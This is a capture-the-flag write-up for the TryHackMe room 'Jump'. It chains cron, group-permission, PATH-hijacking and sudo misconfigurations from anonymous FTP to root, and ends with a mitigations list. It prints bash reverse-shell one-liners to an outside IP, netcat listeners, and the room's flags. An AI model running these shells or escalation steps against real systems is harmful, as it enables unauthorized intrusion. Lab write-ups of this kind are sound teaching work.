September 7, 2026
Jump — TryHackMe Linux Privilege Escalation Write-up
وَمَا تَوْفِيقِي إِلَّا بِاللَّهِ ۚ عَلَيْهِ تَوَكَّلْتُ وَإِلَيْهِ أُنِيبُ﴾ [هود: 88]﴿

By 0xSpecter
8 min read
Introduction
Jump is a Linux privilege escalation challenge built around a chain of misconfigurations. Instead of relying on a single vulnerability, each stage provides access to the next user, eventually leading from anonymous FTP access to root.
Attack Chain
Anonymous
↓
recon_user
↓
dev_user
↓
monitor_user
↓
ops_user
↓
rootAnonymous
↓
recon_user
↓
dev_user
↓
monitor_user
↓
ops_user
↓
rootTools Used
- Nmap
- FTP
- Netcat
- Find
- Grep
- Sudo
- Systemctl
- Cron
- Bash
Flag 1 — Anonymous FTP → recon_user
The first step was to enumerate the target machine and identify exposed services.
We started with:
nmap -sC -sV <TARGET_IP>nmap -sC -sV <TARGET_IP>The scan revealed two interesting services:
21/tcp FTP
22/tcp SSH21/tcp FTP
22/tcp SSHPort 21 (FTP) was open, and anonymous login was allowed.
After logging in anonymously, two interesting directories were discovered:
incoming/— writablepub/— readable
Inside pub/README.txt, we found:
[ recon pipeline ]
All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.[ recon pipeline ]
All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.This indicated that files uploaded to incoming/ were processed automatically.
Further enumeration revealed the script:
/opt/recon/scan_uploads.sh/opt/recon/scan_uploads.shIts contents were:
#!/bin/bash
shopt -s nullglob
for f in /srv/ftp/incoming/*.sh; do
/bin/bash "$f" &
sleep 5
# rm -f "$f"
done#!/bin/bash
shopt -s nullglob
for f in /srv/ftp/incoming/*.sh; do
/bin/bash "$f" &
sleep 5
# rm -f "$f"
doneA cron job was also found:
* * * * * /bin/bash /opt/recon/scan_uploads.sh* * * * * /bin/bash /opt/recon/scan_uploads.shThe important point was that the cron job executed scan_uploads.sh as recon_user. Therefore, any .sh file processed by this script would execute with recon_user's privileges.
We created a reverse-shell script:
#!/bin/bash
bash -i >& /dev/tcp/192.168.129.33/4444 0>&1#!/bin/bash
bash -i >& /dev/tcp/192.168.129.33/4444 0>&1Then we started a listener on Kali:
nc -lvnp 4444nc -lvnp 4444After uploading the script to the FTP incoming/ directory and waiting for the cron job to trigger, we received a shell as:
recon_user@tryhackme-2404:~$recon_user@tryhackme-2404:~$We could then read the first flag from:
/home/recon_user/flag.txt/home/recon_user/flag.txtFlag 1:
THM{5a3f1c92-7b4e-4d91-8c2a-1f6e9b2a4c11}THM{5a3f1c92-7b4e-4d91-8c2a-1f6e9b2a4c11}Why This Worked
The vulnerability was the combination of:
- Anonymous FTP access.
- A writable
incoming/directory. - Automatic processing of uploaded
.shfiles. - A cron job executing the processing script as
recon_user.
This allowed us to move from:
Anonymous FTP access
↓
Uploaded .sh file
↓
Cron execution
↓
recon_userAnonymous FTP access
↓
Uploaded .sh file
↓
Cron execution
↓
recon_userFlag 2 — recon_user → dev_user
After obtaining the recon_user shell, we checked the user's groups:
ididThe result showed:
uid=1001(recon_user) gid=1001(recon_user) groups=1001(recon_user),1002(dev_user),1005(devops)uid=1001(recon_user) gid=1001(recon_user) groups=1001(recon_user),1002(dev_user),1005(devops)The important part was:
recon_user ∈ dev_userrecon_user ∈ dev_userWe then enumerated files associated with the dev_user group and found:
-rwxrwxr-x 1 dev_user dev_user 60 /opt/dev/backup.sh-rwxrwxr-x 1 dev_user dev_user 60 /opt/dev/backup.shThe script contained:
#!/bin/bash
tar -czf /tmp/recon_backup.tgz /home/recon_user#!/bin/bash
tar -czf /tmp/recon_backup.tgz /home/recon_userThe critical issue was that the file was group-writable.
Since recon_user was a member of the dev_user group, we had permission to modify:
/opt/dev/backup.sh/opt/dev/backup.shHowever, simply finding a writable script is not enough. We also needed to determine who executes the script.
We noticed that:
/tmp/recon_backup.tgz/tmp/recon_backup.tgzwas owned by:
dev_user:dev_userdev_user:dev_userand its modification timestamp was changing periodically.
This indicated that backup.sh was being executed automatically in the context of dev_user.
Therefore, we replaced the original script with:
#!/bin/bash
cp /home/dev_user/flag.txt /tmp/dev_flag.txt
chmod 644 /tmp/dev_flag.txt#!/bin/bash
cp /home/dev_user/flag.txt /tmp/dev_flag.txt
chmod 644 /tmp/dev_flag.txtThe idea was simple:
recon_usercould modify the script because of thedev_usergroup membership.- The script was automatically executed as
dev_user. - When executed, it copied
dev_user's flag into/tmp. - The resulting file was readable by us.
After waiting for the automatic trigger, we checked:
ls -l /tmp/dev_flag.txt
cat /tmp/dev_flag.txtls -l /tmp/dev_flag.txt
cat /tmp/dev_flag.txtThe result was:
-rw-r--r-- 1 dev_user dev_user 42 Sep 7 16:12 /tmp/dev_flag.txt
THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}-rw-r--r-- 1 dev_user dev_user 42 Sep 7 16:12 /tmp/dev_flag.txt
THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}Flag 2:
THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}Why This Worked
The privilege escalation relied on two conditions:
recon_userwas a member of thedev_usergroup./opt/dev/backup.shwas writable by that group and automatically executed asdev_user.
The important lesson is:
A writable script becomes useful for privilege escalation only when you can establish that a more privileged user or process executes it.
The attack path was therefore:
Anonymous FTP
↓
Writable FTP directory
↓
Automatic .sh execution
↓
recon_user
↓
dev_user group membership
↓
Writable backup.sh
↓
Automatic execution as dev_user
↓
dev_userAnonymous FTP
↓
Writable FTP directory
↓
Automatic .sh execution
↓
recon_user
↓
dev_user group membership
↓
Writable backup.sh
↓
Automatic execution as dev_user
↓
dev_userFlag 3 — dev_user → monitor_user
After obtaining access as dev_user, the next step was to enumerate scheduled tasks, services, scripts, and writable files that could be abused for privilege escalation.
We started by looking for active timers:
systemctl list-timers --allsystemctl list-timers --allWe discovered a systemd service responsible for running a health check:
/etc/systemd/system/healthcheck.service/etc/systemd/system/healthcheck.serviceWe inspected the service configuration:
systemctl cat healthcheck.servicesystemctl cat healthcheck.serviceThe service contained:
[Unit]
Description=System Health Check
[Service]
Type=simple
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck[Unit]
Description=System Health Check
[Service]
Type=simple
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheckThe important parts were:
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/binUser=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/binThis meant that the health-check process was executed as monitor_user, and /opt/dev/bin appeared before the standard system directories in the PATH.
We then inspected the health-check script:
cat /usr/local/bin/healthcheckcat /usr/local/bin/healthcheckIts contents were:
#!/bin/bash
echo "Running as: $(whoami)"
while true; do
ps aux | grep -v grep
sleep 5
done#!/bin/bash
echo "Running as: $(whoami)"
while true; do
ps aux | grep -v grep
sleep 5
doneThe interesting line was:
ps auxps auxThe command used ps without an absolute path.
Since /opt/dev/bin was the first directory in the service's PATH, the process would search there before checking /usr/bin.
We therefore inspected:
/opt/dev/bin/ps/opt/dev/bin/psThis file was controlled by dev_user and could be modified.
This created a classic PATH hijacking opportunity.
Instead of executing the legitimate:
/usr/bin/ps/usr/bin/psthe health-check service would execute:
/opt/dev/bin/ps/opt/dev/bin/psbecause /opt/dev/bin appeared first in PATH.
We initially created a malicious ps script containing a reverse shell:
#!/bin/bash
setsid bash -i >& /dev/tcp/192.168.129.33/5557 0>&1#!/bin/bash
setsid bash -i >& /dev/tcp/192.168.129.33/5557 0>&1However, we encountered an important permissions issue.
The file was writable but did not have the executable bit:
-rw-rw-r-- 1 dev_user dev_user ...-rw-rw-r-- 1 dev_user dev_user ...As dev_user, we could modify the file and change its permissions, but we needed to make sure the modification happened before the systemd service executed it.
The previously discovered /opt/dev/backup.sh provided a convenient way to do this because it was already being executed automatically as dev_user.
We temporarily modified backup.sh to run:
#!/bin/bash
chmod +x /opt/dev/bin/ps#!/bin/bash
chmod +x /opt/dev/bin/psAfter the backup process triggered, /opt/dev/bin/ps became executable.
We then started a listener on Kali:
nc -lvnp 5557nc -lvnp 5557When the healthcheck.service executed:
ps auxps auxthe command was resolved using the service's PATH.
Because /opt/dev/bin appeared first, the attacker-controlled script was selected instead of /usr/bin/ps.
The malicious script therefore executed in the context of:
monitor_usermonitor_usergiving us a shell as:
monitor_user@tryhackme-2404:~$monitor_user@tryhackme-2404:~$We could then read:
/home/monitor_user/flag.txt/home/monitor_user/flag.txtThe result was:
THM{c1e9a7b3-2d44-4a88-9f7e-3b6c2d5a9f77}THM{c1e9a7b3-2d44-4a88-9f7e-3b6c2d5a9f77}Flag 3:
THM{c1e9a7b3-2d44-4a88-9f7e-3b6c2d5a9f77}THM{c1e9a7b3-2d44-4a88-9f7e-3b6c2d5a9f77}Why This Worked
The privilege escalation was caused by an unsafe combination of:
- A systemd service running as
monitor_user. - A custom
PATHcontaining/opt/dev/binbefore/usr/bin. - The health-check script executing
pswithout an absolute path. dev_userhaving control over/opt/dev/bin/ps.
The important concept is PATH hijacking.
When a script executes:
pspsthe system searches each directory in PATH from left to right.
Because:
/opt/dev/bin/opt/dev/bincame before:
/usr/bin/usr/binthe attacker-controlled ps was selected first.
The attack path was therefore:
dev_user
↓
Writable /opt/dev/bin/ps
↓
PATH places /opt/dev/bin first
↓
healthcheck.service
↓
Runs as monitor_user
↓
healthcheck executes ps
↓
Malicious ps is executed
↓
monitor_userdev_user
↓
Writable /opt/dev/bin/ps
↓
PATH places /opt/dev/bin first
↓
healthcheck.service
↓
Runs as monitor_user
↓
healthcheck executes ps
↓
Malicious ps is executed
↓
monitor_userFlag 4 — monitor_user → ops_user
After obtaining access as monitor_user, we continued enumerating the system for privilege-escalation opportunities.
The first important check was:
sudo -lsudo -lThe output showed:
User monitor_user may run the following commands on tryhackme-2404:
(ops_user) NOPASSWD: /usr/local/bin/deploy.shUser monitor_user may run the following commands on tryhackme-2404:
(ops_user) NOPASSWD: /usr/local/bin/deploy.shThis was immediately interesting because monitor_user could execute:
/usr/local/bin/deploy.sh/usr/local/bin/deploy.shas ops_user without providing a password.
We then inspected the script:
cat /usr/local/bin/deploy.shcat /usr/local/bin/deploy.shIt contained:
#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.shThe script changed the working directory to:
/opt/app/opt/appand then executed:
./deploy_helper.sh./deploy_helper.shWe inspected the helper script:
ls -l /opt/app/deploy_helper.sh
cat /opt/app/deploy_helper.shls -l /opt/app/deploy_helper.sh
cat /opt/app/deploy_helper.shThe file was owned by monitor_user:
-rwxr-xr-x 1 monitor_user monitor_user 90 /opt/app/deploy_helper.sh-rwxr-xr-x 1 monitor_user monitor_user 90 /opt/app/deploy_helper.shand contained:
#!/bin/bash
echo "[+] Deploy helper running"
echo "[+] Syncing application files"
sleep 2#!/bin/bash
echo "[+] Deploy helper running"
echo "[+] Syncing application files"
sleep 2This was the key vulnerability.
Although deploy.sh itself was owned by ops_user and could not be modified, it executed deploy_helper.sh using a relative path.
Since monitor_user owned deploy_helper.sh, we could modify its contents.
We also confirmed writable files using:
find /opt /usr/local -writable -ls 2>/dev/nullfind /opt /usr/local -writable -ls 2>/dev/nullAmong the results was:
/opt/app/deploy_helper.sh/opt/app/deploy_helper.shWe replaced the helper with:
#!/bin/bash
cp /home/ops_user/flag.txt /tmp/ops_flag.txt
chmod 644 /tmp/ops_flag.txt#!/bin/bash
cp /home/ops_user/flag.txt /tmp/ops_flag.txt
chmod 644 /tmp/ops_flag.txtThen we executed the allowed sudo command:
sudo -u ops_user /usr/local/bin/deploy.shsudo -u ops_user /usr/local/bin/deploy.shBecause deploy.sh was executed as ops_user, the following command:
./deploy_helper.sh./deploy_helper.shalso executed our modified helper script as ops_user.
As a result, the command:
cp /home/ops_user/flag.txt /tmp/ops_flag.txtcp /home/ops_user/flag.txt /tmp/ops_flag.txtwas executed with ops_user's privileges.
We then read the copied flag:
cat /tmp/ops_flag.txtcat /tmp/ops_flag.txtThe result was:
THM{f7a2c9d1-6e33-4b55-8d11-9c0a7b2e4d88}THM{f7a2c9d1-6e33-4b55-8d11-9c0a7b2e4d88}Flag 4:
THM{f7a2c9d1-6e33-4b55-8d11-9c0a7b2e4d88}THM{f7a2c9d1-6e33-4b55-8d11-9c0a7b2e4d88}Why This Worked
The escalation relied on two misconfigurations:
monitor_usercould execute/usr/local/bin/deploy.shasops_userwithout a password.deploy.shexecuted a helper script that was writable bymonitor_user.
The important distinction is that we did not need to modify deploy.sh.
The execution chain was:
monitor_user
↓
sudo NOPASSWD
↓
/usr/local/bin/deploy.sh as ops_user
↓
cd /opt/app
↓
./deploy_helper.sh
↓
Writable by monitor_user
↓
Our commands execute as ops_user
↓
ops_usermonitor_user
↓
sudo NOPASSWD
↓
/usr/local/bin/deploy.sh as ops_user
↓
cd /opt/app
↓
./deploy_helper.sh
↓
Writable by monitor_user
↓
Our commands execute as ops_user
↓
ops_userThis is a common privilege-escalation pattern: a privileged script executes another script or binary that is controlled by a lower-privileged user.
Key Lesson
A sudo rule may appear restrictive because it allows only one specific script, but that script can still become exploitable if it executes attacker-controlled files, commands, or relative paths.
Flag 5 — ops_user → root
After obtaining execution as ops_user, we performed another round of privilege-escalation enumeration.
The first command was:
sudo -lsudo -lThe result showed:
User ops_user may run the following commands on tryhackme-2404:
(root) NOPASSWD: /usr/bin/lessUser ops_user may run the following commands on tryhackme-2404:
(root) NOPASSWD: /usr/bin/lessThis was the final privilege-escalation opportunity.
ops_user was allowed to execute the less binary as root without entering a password.
We confirmed the relevant sudo rule:
(root) NOPASSWD: /usr/bin/less(root) NOPASSWD: /usr/bin/lessThe important point here is that less is an interactive pager and can potentially be abused to execute external commands when running with elevated privileges.
However, in this challenge, we did not rely on obtaining an interactive shell through less.
Instead, we used the allowed less command to access a file that was normally readable only by root.
We modified the helper script to execute:
#!/bin/bash
sudo /usr/bin/less /root/flag.txt#!/bin/bash
sudo /usr/bin/less /root/flag.txtThe modified helper script was:
cat > /opt/app/deploy_helper.sh <<'EOF'
#!/bin/bash
sudo /usr/bin/less /root/flag.txt
EOFcat > /opt/app/deploy_helper.sh <<'EOF'
#!/bin/bash
sudo /usr/bin/less /root/flag.txt
EOFWe then ensured it was executable:
chmod +x /opt/app/deploy_helper.shchmod +x /opt/app/deploy_helper.shFinally, we triggered the helper through the previously discovered sudo rule:
sudo -u ops_user /usr/local/bin/deploy.shsudo -u ops_user /usr/local/bin/deploy.shThe execution chain was:
monitor_user
↓
sudo deploy.sh as ops_user
↓
deploy.sh
↓
./deploy_helper.sh
↓
sudo less /root/flag.txt
↓
rootmonitor_user
↓
sudo deploy.sh as ops_user
↓
deploy.sh
↓
./deploy_helper.sh
↓
sudo less /root/flag.txt
↓
rootBecause less was executed as root, it was able to access:
/root/flag.txt/root/flag.txtThe flag was displayed:
THM{2b8e6c4a-1d55-4f90-a3c7-5e9d1b7f6a22}THM{2b8e6c4a-1d55-4f90-a3c7-5e9d1b7f6a22}Flag 5:
THM{2b8e6c4a-1d55-4f90-a3c7-5e9d1b7f6a22}THM{2b8e6c4a-1d55-4f90-a3c7-5e9d1b7f6a22}Why This Worked
The final escalation was caused by an overly permissive sudo configuration:
ops_user → NOPASSWD → /usr/bin/less as rootops_user → NOPASSWD → /usr/bin/less as rootAllowing a user to execute certain binaries as root can be dangerous even when the binary is not traditionally considered a shell.
Programs such as less can provide mechanisms for interacting with the underlying system or launching external commands. Therefore, allowing them through sudo without restrictions can provide a path to root privileges.
In this challenge, the previous vulnerability allowed us to execute commands as ops_user, and the ops_user sudo rule then provided access to less as root.
Final Attack Chain
The complete privilege-escalation chain was:
Anonymous FTP
↓
Writable incoming/
↓
Cron executes uploaded .sh
↓
recon_user
↓
dev_user group membership
↓
Writable backup.sh
↓
Automatic execution as dev_user
↓
dev_user
↓
Writable /opt/dev/bin/ps
↓
PATH Hijacking
↓
healthcheck.service
↓
monitor_user
↓
sudo deploy.sh as ops_user
↓
Writable deploy_helper.sh
↓
ops_user
↓
sudo less as root
↓
rootAnonymous FTP
↓
Writable incoming/
↓
Cron executes uploaded .sh
↓
recon_user
↓
dev_user group membership
↓
Writable backup.sh
↓
Automatic execution as dev_user
↓
dev_user
↓
Writable /opt/dev/bin/ps
↓
PATH Hijacking
↓
healthcheck.service
↓
monitor_user
↓
sudo deploy.sh as ops_user
↓
Writable deploy_helper.sh
↓
ops_user
↓
sudo less as root
↓
rootMitigations
The vulnerabilities in this challenge could be mitigated by applying the following security controls:
- Disable anonymous FTP access unless it is explicitly required.
- Never automatically execute scripts uploaded by untrusted users.
- Avoid group-writable scripts when they are executed by privileged users.
- Use absolute paths for commands executed by privileged services.
- Ensure privileged services do not use attacker-controlled directories in
PATH. - Avoid executing writable scripts or binaries through
sudo. - Restrict
sudopermissions to only what is strictly necessary. - Avoid allowing interactive programs such as
lessto run as root throughsudo. - Ensure privileged scripts execute only files owned and controlled by trusted users.
- Regularly audit cron jobs, systemd services, file permissions, and sudo configurations.
Conclusion
The Jump challenge demonstrated how multiple seemingly small Linux misconfigurations can be chained together to achieve full privilege escalation.
The attack started with anonymous FTP access and progressed through writable scripts, group permissions, scheduled tasks, PATH hijacking, insecure sudo configurations, and finally root-level file access.
The main lesson is that privilege escalation is often not about finding a single critical vulnerability, but about identifying how several weak configurations can be chained together.
Anonymous
↓
recon_user
↓
dev_user
↓
monitor_user
↓
ops_user
↓
rootAnonymous
↓
recon_user
↓
dev_user
↓
monitor_user
↓
ops_user
↓
rootEach individual misconfiguration provided only the next step, but when chained together, they resulted in complete compromise of the system.